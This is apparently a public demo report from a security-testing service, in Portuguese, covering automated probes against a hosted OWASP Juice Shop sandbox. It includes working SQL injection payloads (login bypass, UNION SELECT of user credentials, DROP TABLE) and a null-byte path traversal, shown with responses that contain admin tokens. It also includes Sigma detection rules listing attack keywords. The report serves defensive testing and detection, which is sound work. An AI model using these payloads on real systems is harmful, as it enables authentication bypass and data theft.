Carregando…...

Evidência da demonstração · OWASP Juice Shop · risco geral 77/100

Evidência pública da demonstração · Ataque Web

Atacamos
OWASP Juice Shop
em 1.0s.

Ataques reais contra o OWASP Juice Shop: uma aplicação web deliberadamente fraca que hospedamos. Nenhum dado de cliente envolvido. Esta página é pública e compartilhável.

execução run_442cc9a7536a…perfil standardprofundidade mediumconcluído 17/10/2026, 02:01:47

Pontuação de defesa em quatro dimensões

maior detecção & prontidão = postura mais forte

77/ 100

Risco geralÍndice de risco combinado entre todos os eixos (maior = mais arriscado).

100/ 100

Exposição% de pontos de acesso com achados exploráveis.

59/ 100

Detecção% de ataques que disparariam sinal detectável em log.

25/ 100

ProntidãoQuão próximas as defesas atuais estão de uma referência ajustada.

22testes de ataque executados→9passaram pelas defesas→9regras Sigma emitidas

Metodologia de ataque

41%taxa de bypass9 de 22 testes de ataque contornaram as defesas

Técnicas com bypass confirmado

A01A03A05A09

0Correções aguardando repetição do teste

Achados

9 total

critical×2high×6medium×1

Baixar regras Sigma (.yml)

mediumOWASP A05 — Confidential acquisitions document publicly readable→ https://juice-shop.sandbox.doesitdefend.ai/ftp/acquisitions.md
A05probea05-ftp-acquisitions-001
Probe a05-ftp-acquisitions-001 confirmed vulnerable. Indicator matched: status=200. Confidential acquisitions document publicly readable

DUAS FORMAS DE RODAR A SUA

Rode você mesmo.

Mesmo mecanismo, dois caminhos. Escolha o que combina com o que você quer testar.

SANDBOX GRÁTIS · CONTA NECESSÁRIA

Atacar este mesmo sandbox.

O plano Free cobre os alvos de demonstração hospedados por nós — Juice Shop e VulnBot. Uma conta é necessária. Compartilhe uma página pública de evidência da demonstração com um link.

Rodar Juice Shop →Rodar VulnBot →

SEU ALVO · STARTER+

EVIDENCE PACK (STARTER+)

Como é a evidência paga.

Execuções Starter+ exportam um ZIP verificável: SARIF para suas ferramentas, CSV e JSON para triagem, os registros brutos dos ataques associados a cada achado, um guia operacional de remediação para execuções de LLM — e um resumo executivo de uma página que sua liderança lê sem abrir o terminal.

manifest.json
Lista cada arquivo do pacote com tamanho e checksum SHA-256, para qualquer pessoa verificar a integridade offline.
sarif · csv · json
Formatos padrão que seu fluxo de varredura, seu SIEM e suas planilhas de triagem já processam — sem dependência de um fornecedor.
evidence/*
A evidência real de requisição/resposta capturada na simulação, cada item ancorado ao checksum do produtor.
executive-summary.html
Escopo, resultado, o que corrigir primeiro e como verificar o pacote — a página que você encaminha para seu gestor.

Verifique offline: shasum -a 256 <arquivo>, compare com o manifest.json.

Ver preços

Regra Sigma (auto-emitida) ▾

title: "OWASP A05 — Security Misconfiguration (directory listing / sensitive file exposure) — OWASP A05 — Confidential acquisitions document publicly readable"
id: "d906eb03-7618-4744-aa31-1fb337d0933e"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_4332622b59c4446e9bfec62b.
    
    Detection gap observed:
    Probe a05-ftp-acquisitions-001 confirmed vulnerable. Indicator matched: status=200. Confidential acquisitions document publicly readable
    
    Recommended defense:
    Disable directory listing (autoindex off on nginx, Options -Indexes on Apache). Move sensitive files out of the webroot. Apply deny-by-default policy to static files.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_4332622b59c4446e9bfec62b"
  - "https://attack.mitre.org/techniques/T1083/"
date: "2026-10-17"
tags:
  - attack.t1083
  - doesitdefend.severity.medium
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /ftp
      - /.git
      - /.env
      - /encryptionkeys
    http_status: 200
  condition: selection
falsepositives:
  - "Intentionally-public asset directories"
level: medium

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A03 — Order-by SQL injection via sort param (error-based detection)→ https://juice-shop.sandbox.doesitdefend.ai/api/Products?sort=id;DROP TABLE Users--

A03probea03-sqli-order-by-001

Probe a03-sqli-order-by-001 confirmed vulnerable. Indicator matched: status=400. Order-by SQL injection via sort param (error-based detection)

Ver o ataque ▾

Requisição

GET /api/Products?sort=id;DROP TABLE Users--

Resposta

HTTP 400 — {&quot;message&quot;:&quot;Sorting not allowed on given attributes&quot;,&quot;errors&quot;:[&quot;id;DROP TABLE Users--&quot;]}

PATCHUse prepared statements (parameterized queries). Validate and sanitize input at the boundary. Apply context-aware output encoding to prevent XSS. Treat a WAF as a defensive layer, not the primary control.

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — Order-by SQL injection via sort param (error-based detection)"
id: "558b5424-c722-467d-a0d3-5e083a7fcc90"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_425f826246bf433b94341eab.
    
    Detection gap observed:
    Probe a03-sqli-order-by-001 confirmed vulnerable. Indicator matched: status=400. Order-by SQL injection via sort param (error-based detection)
    
    Recommended defense:
    Use prepared statements (parameterized queries). Validate and sanitize input at the boundary. Apply context-aware output encoding to prevent XSS. Treat a WAF as a defensive layer, not the primary control.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_425f826246bf433b94341eab"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-10-17"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A09 — Encryption keys directory listing leaks premium.key→ https://juice-shop.sandbox.doesitdefend.ai/encryptionkeys

A09probea09-secret-keys-001

Probe a09-secret-keys-001 confirmed vulnerable. Indicator matched: body~"premium.key". Encryption keys directory listing leaks premium.key

Ver o ataque ▾

Requisição

GET /encryptionkeys

Resposta

HTTP 200 —      listing directory /encryptionkeys * { margin: 0; padding: 0; outline: 0; } body { p…

PATCHNever expose keystore/secret directories via the webroot. Rotate compromised keys. Centralize secret management in Secret Manager/Vault.

Regra Sigma (auto-emitida) ▾

title: "OWASP A09 — Logging/Security Logging Failure (key/secret directory exposure) — OWASP A09 — Encryption keys directory listing leaks premium.key"
id: "5a290c00-b879-45b7-8d7a-f51df63b491d"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_6547b01c36d6a1d5d4b94ca9.
    
    Detection gap observed:
    Probe a09-secret-keys-001 confirmed vulnerable. Indicator matched: body~"premium.key". Encryption keys directory listing leaks premium.key
    
    Recommended defense:
    Never expose keystore/secret directories via the webroot. Rotate compromised keys. Centralize secret management in Secret Manager/Vault.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_6547b01c36d6a1d5d4b94ca9"
  - "https://attack.mitre.org/techniques/T1552/001/"
date: "2026-10-17"
tags:
  - attack.t1552.001
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  response_keywords:
    - premium.key
    - private.key
    - id_rsa
    - .pem
  condition: response_keywords
falsepositives:
  - "Public example keys clearly marked as canaries"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A05 — FTP directory listing exposed at /ftp→ https://juice-shop.sandbox.doesitdefend.ai/ftp

A05probea05-ftp-listing-001

Probe a05-ftp-listing-001 confirmed vulnerable. Indicator matched: body~"package.json". FTP directory listing exposed at /ftp

Ver o ataque ▾

Requisição

GET /ftp

Resposta

HTTP 200 —      listing directory /ftp * { margin: 0; padding: 0; outline: 0; } body { padding: 80p…

PATCHDisable directory listing (autoindex off on nginx, Options -Indexes on Apache). Move sensitive files out of the webroot. Apply deny-by-default policy to static files.

Regra Sigma (auto-emitida) ▾

title: "OWASP A05 — Security Misconfiguration (directory listing / sensitive file exposure) — OWASP A05 — FTP directory listing exposed at /ftp"
id: "e7e01f4d-fa88-49e4-a333-9373b3057e3e"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_79939de458c2d65832fe5c21.
    
    Detection gap observed:
    Probe a05-ftp-listing-001 confirmed vulnerable. Indicator matched: body~"package.json". FTP directory listing exposed at /ftp
    
    Recommended defense:
    Disable directory listing (autoindex off on nginx, Options -Indexes on Apache). Move sensitive files out of the webroot. Apply deny-by-default policy to static files.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_79939de458c2d65832fe5c21"
  - "https://attack.mitre.org/techniques/T1083/"
date: "2026-10-17"
tags:
  - attack.t1083
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /ftp
      - /.git
      - /.env
      - /encryptionkeys
    http_status: 200
  condition: selection
falsepositives:
  - "Intentionally-public asset directories"
level: medium

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A01 — Poison-null byte path traversal bypasses .md whitelist→ https://juice-shop.sandbox.doesitdefend.ai/ftp/package.json.bak%2500.md

A01probea01-pathtraversal-ftp-001

Probe a01-pathtraversal-ftp-001 confirmed vulnerable. Indicator matched: body~"dependencies". Poison-null byte path traversal bypasses .md whitelist

Ver o ataque ▾

Requisição

GET /ftp/package.json.bak%2500.md

Resposta

HTTP 200 — { &quot;name&quot;: &quot;juice-shop&quot;, &quot;version&quot;: &quot;6.2.0-SNAPSHOT&quot;, &quot;description&quot;: &quot;An intentionally insecure JavaScript Web Application&quot;, &quot;homepage&quot;: &quot;http://owasp-juice.shop&quot;, &quot;author&quot;: &quot;Björn Kimminich  (https://kimminich.de)&quot;, &quot;contributors&quot;: [ &quot;Björn…

PATCHEnforce per-resource authorization (not just authentication). Validate ownership via tenant_id/user_id before returning data. Add per-user rate limits on enumeration-prone endpoints.

Regra Sigma (auto-emitida) ▾

title: "OWASP A01 — Broken Access Control (IDOR / admin-route exposure) — OWASP A01 — Poison-null byte path traversal bypasses .md whitelist"
id: "c699462a-7f0b-4e8a-85ef-d2ddbe0ee7f4"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_47014c49d28d1fccb5cfda33.
    
    Detection gap observed:
    Probe a01-pathtraversal-ftp-001 confirmed vulnerable. Indicator matched: body~"dependencies". Poison-null byte path traversal bypasses .md whitelist
    
    Recommended defense:
    Enforce per-resource authorization (not just authentication). Validate ownership via tenant_id/user_id before returning data. Add per-user rate limits on enumeration-prone endpoints.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_47014c49d28d1fccb5cfda33"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-10-17"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /api/Users
      - /rest/basket/
      - /api/Feedbacks/
      - /administration
      - /ftp/
  condition: selection
falsepositives:
  - "Legitimate admin access from allow-listed IPs"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

high

OWASP A03 — Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim

→ https://juice-shop.sandbox.doesitdefend.ai/rest/products/search?q=apple')) UNION SELECT id,email,password,role,deluxeToken,1,2,3 FROM Users--

A03probea03-sqli-search-001

Probe a03-sqli-search-001 confirmed vulnerable. Indicator matched: body~"SQLITE_ERROR". Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim

Ver o ataque ▾

Requisição

GET /rest/products/search?q=apple&#x27;)) UNION SELECT id,email,password,role,deluxeToken,1,2,3 FROM Users--

Resposta

HTTP 500 —    Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns * { margin: 0; padding: 0; outline: 0; } body { padding: 80px 100px; font: 13px &quot;Helvetica Neue&quot;, &quot;Luci…

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim"
id: "acf15471-53c8-4e1e-a285-7968577ae90c"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_98cf750876b07be7206b511a.
    
    Detection gap observed:
    Probe a03-sqli-search-001 confirmed vulnerable. Indicator matched: body~"SQLITE_ERROR". Error-based UNION injection in product search: result-column mismatch forces an unhandled SQLite error into the response body, proving the payload reaches the statement builder verbatim
    
    Recommended defense:
    Use prepared statements (parameterized queries). Validate and sanitize input at the boundary. Apply context-aware output encoding to prevent XSS. Treat a WAF as a defensive layer, not the primary control.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_98cf750876b07be7206b511a"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-10-17"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

highOWASP A01 — Administration UI route reachable without auth check on frontend→ https://juice-shop.sandbox.doesitdefend.ai/#/administration

A01probea01-admin-public-001

Probe a01-admin-public-001 confirmed vulnerable. Indicator matched: status=200. Administration UI route reachable without auth check on frontend

Ver o ataque ▾

Requisição

GET /#/administration

Resposta

HTTP 200 —      OWASP Juice Shop &lt;meta name=&quot;description&quot; cont…

PATCHEnforce per-resource authorization (not just authentication). Validate ownership via tenant_id/user_id before returning data. Add per-user rate limits on enumeration-prone endpoints.

Regra Sigma (auto-emitida) ▾

title: "OWASP A01 — Broken Access Control (IDOR / admin-route exposure) — OWASP A01 — Administration UI route reachable without auth check on frontend"
id: "14fe93f1-6acc-4c0c-b922-a0044f3b2144"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_36ae87c68f8649fc3c34fbd9.
    
    Detection gap observed:
    Probe a01-admin-public-001 confirmed vulnerable. Indicator matched: status=200. Administration UI route reachable without auth check on frontend
    
    Recommended defense:
    Enforce per-resource authorization (not just authentication). Validate ownership via tenant_id/user_id before returning data. Add per-user rate limits on enumeration-prone endpoints.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_36ae87c68f8649fc3c34fbd9"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-10-17"
tags:
  - attack.t1190
  - doesitdefend.severity.high
logsource:
  product: webserver
  category: access
detection:
  selection:
    cs-uri-stem|contains:
      - /api/Users
      - /rest/basket/
      - /api/Feedbacks/
      - /administration
      - /ftp/
  condition: selection
falsepositives:
  - "Legitimate admin access from allow-listed IPs"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

criticalOWASP A03 — SQL injection in login email bypasses authentication (classic ' OR 1=1--)→ https://juice-shop.sandbox.doesitdefend.ai/rest/user/login

A03probea03-sqli-login-email-001

Probe a03-sqli-login-email-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection in login email bypasses authentication (classic ' OR 1=1--)

Ver o ataque ▾

Requisição

POST /rest/user/login {&quot;email&quot;:&quot;&#x27; OR 1=1--&quot;,&quot;password&quot;:&quot;anything&quot;}

Resposta

HTTP 200 — {&quot;authentication&quot;:{&quot;token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjo…

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — SQL injection in login email bypasses authentication (classic ' OR 1=1--)"
id: "59a31512-f215-411c-adf8-fbcb32a229d2"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_4df9523ae45a733ea774c535.
    
    Detection gap observed:
    Probe a03-sqli-login-email-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection in login email bypasses authentication (classic ' OR 1=1--)
    
    Recommended defense:
    Use prepared statements (parameterized queries). Validate and sanitize input at the boundary. Apply context-aware output encoding to prevent XSS. Treat a WAF as a defensive layer, not the primary control.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_4df9523ae45a733ea774c535"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-10-17"
tags:
  - attack.t1190
  - doesitdefend.severity.critical
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

criticalOWASP A03 — SQL injection with comment terminator bypasses password check→ https://juice-shop.sandbox.doesitdefend.ai/rest/user/login

A03probea03-sqli-login-quote-001

Probe a03-sqli-login-quote-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection with comment terminator bypasses password check

Ver o ataque ▾

Requisição

POST /rest/user/login {&quot;email&quot;:&quot;[EMAIL]&#x27;--&quot;,&quot;password&quot;:&quot;anything&quot;}

Resposta

HTTP 200 — {&quot;authentication&quot;:{&quot;token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjo…

Regra Sigma (auto-emitida) ▾

title: "OWASP A03 — Injection (SQLi / XSS / NoSQLi) — OWASP A03 — SQL injection with comment terminator bypasses password check"
id: "04a55d74-5d70-440b-afb1-d2d155dc3e72"
status: experimental
description: |
    Auto-generated starter rule from DoesItDefend finding fnd_de95686591a63621af9ee245.
    
    Detection gap observed:
    Probe a03-sqli-login-quote-001 confirmed vulnerable. Indicator matched: body~"authentication". SQL injection with comment terminator bypasses password check
    
    Recommended defense:
    Use prepared statements (parameterized queries). Validate and sanitize input at the boundary. Apply context-aware output encoding to prevent XSS. Treat a WAF as a defensive layer, not the primary control.
author: "DoesItDefend (auto-generated)"
references:
  - "doesitdefend://finding/fnd_de95686591a63621af9ee245"
  - "https://attack.mitre.org/techniques/T1190/"
date: "2026-10-17"
tags:
  - attack.t1190
  - doesitdefend.severity.critical
logsource:
  product: webserver
  category: access
detection:
  keywords:
    - "' OR 1=1"
    - "UNION SELECT"
    - "DROP TABLE"
    - "<script>"
    - "javascript:"
    - "<img src=x onerror"
    - "<iframe src=\"javascript"
  condition: keywords
falsepositives:
  - "Penetration testing tools"
  - "Security research / bug bounty"
level: high

Regra inicial: ajuste os limiares e filtros para o seu ambiente antes da implantação

Incorpore este selo

Exiba sua pontuação de segurança LLM no README, na documentação ou na página de marketing. A imagem do selo é regenerada a cada cinco minutos a partir dos dados desta execução.

Markdown

[![LLM security badge](https://api.doesitdefend.ai/v1/badges/runs/run_442cc9a7536a601946338105.svg)](https://doesitdefend.ai/demo/runs/run_442cc9a7536a601946338105)

HTML

<a href="https://doesitdefend.ai/demo/runs/run_442cc9a7536a601946338105"><img src="https://api.doesitdefend.ai/v1/badges/runs/run_442cc9a7536a601946338105.svg" alt="LLM security badge"></a>

AtacamosOWASP Juice Shopem 1.0s.

Pontuação de defesa em quatro dimensões

Achados

Rode você mesmo.

Atacar este mesmo sandbox.

Como é a evidência paga.

Apontar o motor para sua aplicação web.

Incorpore este selo

Atacamos
OWASP Juice Shop
em 1.0s.